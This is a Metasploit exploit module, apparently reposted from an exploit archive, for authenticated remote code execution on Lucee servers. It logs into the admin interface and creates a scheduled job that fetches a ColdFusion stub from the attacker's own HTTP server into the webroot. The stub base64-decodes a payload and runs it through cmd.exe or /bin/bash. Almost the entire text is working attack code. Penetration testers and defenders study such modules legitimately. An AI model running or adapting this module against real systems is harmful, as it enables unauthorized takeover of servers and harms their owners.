Share
## https://sploitus.com/exploit?id=PACKETSTORM:171221
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::Retry  
include Msf::Exploit::FileDropper  
require 'base64'  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Lucee Authenticated Scheduled Job Code Execution',  
'Description' => %q{  
This module can be used to execute a payload on Lucee servers that have an exposed  
administrative web interface. It's possible for an administrator to create a  
scheduled job that queries a remote ColdFusion file, which is then downloaded and executed  
when accessed. The payload is uploaded as a cfm file when queried by the target server. When executed,  
the payload will run as the user specified during the Lucee installation. On Windows, this is a service account;  
on Linux, it is either the root user or lucee.  
},  
'Targets' => [  
[  
'Windows Command',  
{  
'Platform' => 'win',  
'Arch' => ARCH_CMD,  
'Type' => :windows_cmd  
}  
],  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd  
}  
]  
],  
'Author' => 'Alexander Philiotis', # aphiliotis@synercomm.com  
'License' => MSF_LICENSE,  
'References' => [  
# This abuses the functionality inherent to the Lucee platform and  
# thus is not related to any CVEs.  
  
# Lucee Docs  
['URL', 'https://docs.lucee.org/'],  
  
# cfexecute & cfscript documentation  
['URL', 'https://docs.lucee.org/reference/tags/execute.html'],  
['URL', 'https://docs.lucee.org/reference/tags/script.html'],  
],  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [  
# /opt/lucee/server/lucee-server/context/logs/application.log  
# /opt/lucee/web/logs/exception.log  
IOC_IN_LOGS,  
ARTIFACTS_ON_DISK,  
# ColdFusion files located at the webroot of the Lucee server  
# C:/lucee/tomcat/webapps/ROOT/ by default on Windows  
# /opt/lucee/tomcat/webapps/ROOT/ by default on Linux  
]  
},  
'Stance' => Msf::Exploit::Stance::Aggressive,  
'DisclosureDate' => '2023-02-10'  
)  
)  
  
register_options(  
[  
Opt::RPORT(8888),  
OptString.new('PASSWORD', [false, 'The password for the administrative interface']),  
OptString.new('TARGETURI', [true, 'The path to the admin interface.', '/lucee/admin/web.cfm']),  
OptInt.new('PAYLOAD_DEPLOY_TIMEOUT', [false, 'Time in seconds to wait for access to the payload', 20]),  
]  
)  
deregister_options('URIPATH')  
end  
  
def exploit  
payload_base = rand_text_alphanumeric(8..16)  
authenticate  
  
start_service({  
'Uri' => {  
'Proc' => proc do |cli, req|  
print_status("Payload request received for #{req.uri} from #{cli.peerhost}")  
send_response(cli, cfm_stub)  
end,  
'Path' => '/' + payload_base + '.cfm'  
}  
})  
  
#  
# Create the scheduled job  
#  
create_job(payload_base)  
  
#  
# Execute the scheduled job and attempt to send a GET request to it.  
#  
execute_job(payload_base)  
print_good('Exploit completed.')  
  
#  
# Removes the scheduled job  
#  
print_status('Removing scheduled job ' + payload_base)  
cleanup_request = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path),  
'vars_get' => {  
'action' => 'services.schedule'  
},  
'vars_post' => {  
'row_1' => '1',  
'name_1' => payload_base.to_s,  
'mainAction' => 'delete'  
}  
})  
if cleanup_request && cleanup_request.code == 302  
print_good('Scheduled job removed.')  
else  
print_bad('Failed to remove scheduled job.')  
end  
end  
  
def authenticate  
auth = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path),  
'keep_cookies' => true,  
'vars_post' => {  
'login_passwordweb' => datastore['PASSWORD'],  
'lang' => 'en',  
'rememberMe' => 's',  
'submit' => 'submit'  
}  
})  
  
unless auth  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")  
end  
  
unless auth.code == 200 && auth.body.include?('nav_Security')  
fail_with(Failure::NoAccess, 'Unable to authenticate. Please double check your credentials and try again.')  
end  
  
print_good('Authenticated successfully')  
end  
  
def create_job(payload_base)  
create_job = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path),  
'keep_cookies' => true,  
'vars_get' => {  
'action' => 'services.schedule',  
'action2' => 'create'  
},  
'vars_post' => {  
'name' => payload_base,  
'url' => get_uri.to_s,  
'interval' => '3600',  
'start_day' => '01',  
'start_month' => '02',  
'start_year' => '2023',  
'start_hour' => '00',  
'start_minute' => '00',  
'start_second' => '00',  
'run' => 'create'  
}  
})  
  
fail_with(Failure::Unreachable, 'Could not connect to the web service') if create_job.nil?  
fail_with(Failure::UnexpectedReply, 'Unable to create job') unless create_job.code == 302  
  
print_good('Job ' + payload_base + ' created successfully')  
job_file_path = file_path = webroot  
fail_with(Failure::UnexpectedReply, 'Could not identify the web root') if job_file_path.blank?  
  
case target['Type']  
when :unix_cmd  
file_path << '/'  
job_file_path = "#{job_file_path.gsub('/', '//')}//"  
when :windows_cmd  
file_path << '\\'  
job_file_path = "#{job_file_path.gsub('\\', '\\\\')}\\"  
end  
update_job = send_request_cgi({  
'method' => 'POST',  
'uri' => target_uri.path,  
'keep_cookies' => true,  
'vars_get' => {  
'action' => 'services.schedule',  
'action2' => 'edit',  
'task' => create_job.headers['location'].split('=')[-1]  
},  
'vars_post' => {  
'name' => payload_base,  
'url' => get_uri.to_s,  
'port' => datastore['SRVPORT'],  
'timeout' => '50',  
'username' => '',  
'password' => '',  
'proxyserver' => '',  
'proxyport' => '',  
'proxyuser' => '',  
'proxypassword' => '',  
'publish' => 'true',  
'file' => "#{job_file_path}#{payload_base}.cfm",  
'start_day' => '01',  
'start_month' => '02',  
'start_year' => '2023',  
'start_hour' => '00',  
'start_minute' => '00',  
'start_second' => '00',  
'end_day' => '',  
'end_month' => '',  
'end_year' => '',  
'end_hour' => '',  
'end_minute' => '',  
'end_second' => '',  
'interval_hour' => '1',  
'interval_minute' => '0',  
'interval_second' => '0',  
'run' => 'update'  
}  
})  
  
fail_with(Failure::Unreachable, 'Could not connect to the web service') if update_job.nil?  
fail_with(Failure::UnexpectedReply, 'Unable to update job') unless update_job.code == 302 || update_job.code == 200  
register_files_for_cleanup("#{file_path}#{payload_base}.cfm")  
print_good('Job ' + payload_base + ' updated successfully')  
end  
  
def execute_job(payload_base)  
print_status("Executing scheduled job: #{payload_base}")  
job_execution = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path),  
'vars_get' => {  
'action' => 'services.schedule'  
},  
'vars_post' => {  
'row_1' => '1',  
'name_1' => payload_base,  
'mainAction' => 'execute'  
}  
  
})  
  
fail_with(Failure::Unreachable, 'Could not connect to the web service') if job_execution.nil?  
fail_with(Failure::Unknown, 'Unable to execute job') unless job_execution.code == 302 || job_execution.code == 200  
  
print_good('Job ' + payload_base + ' executed successfully')  
  
payload_response = nil  
retry_until_truthy(timeout: datastore['PAYLOAD_DEPLOY_TIMEOUT']) do  
print_status('Attempting to access payload...')  
payload_response = send_request_cgi(  
'uri' => '/' + payload_base + '.cfm',  
'method' => 'GET'  
)  
payload_response.nil? || (payload_response && payload_response.code == 200 && payload_response.body.exclude?('Error')) || (payload_response.code == 500)  
end  
  
# Unix systems tend to return a 500 response code when executing a shell. Windows tends to return a nil response, hence the check for both.  
fail_with(Failure::Unknown, 'Unable to execute payload') unless payload_response.nil? || payload_response.code == 200 || payload_response.code == 500  
  
if payload_response.nil?  
print_status('No response from ' + payload_base + '.cfm' + (session_created? ? '' : ' Check your listener!'))  
elsif payload_response.code == 200  
print_good('Received 200 response from ' + payload_base + '.cfm')  
output = payload_response.body.strip  
if output.include?("\n")  
print_good('Output:')  
print_line(output)  
elsif output.present?  
print_good('Output: ' + output)  
end  
elsif payload_response.code == 500  
print_status('Received 500 response from ' + payload_base + '.cfm' + (session_created? ? '' : ' Check your listener!'))  
end  
end  
  
def webroot  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path)  
})  
return nil unless res  
  
res.get_html_document.at('[text()*="Webroot"]')&.next&.next&.text  
end  
  
def cfm_stub  
case target['Type']  
when :windows_cmd  
<<~CFM.gsub(/^\s+/, '').tr("\n", '')  
<cfscript>  
cfexecute(name="cmd.exe", arguments="/c " & toString(binaryDecode("#{Base64.strict_encode64(payload.encoded)}", "base64")),timeout=5);  
</cfscript>  
CFM  
when :unix_cmd  
<<~CFM.gsub(/^\s+/, '').tr("\n", '')  
<cfscript>  
cfexecute(name="/bin/bash", arguments=["-c", toString(binaryDecode("#{Base64.strict_encode64(payload.encoded)}", "base64"))],timeout=5);  
</cfscript>  
CFM  
end  
end  
end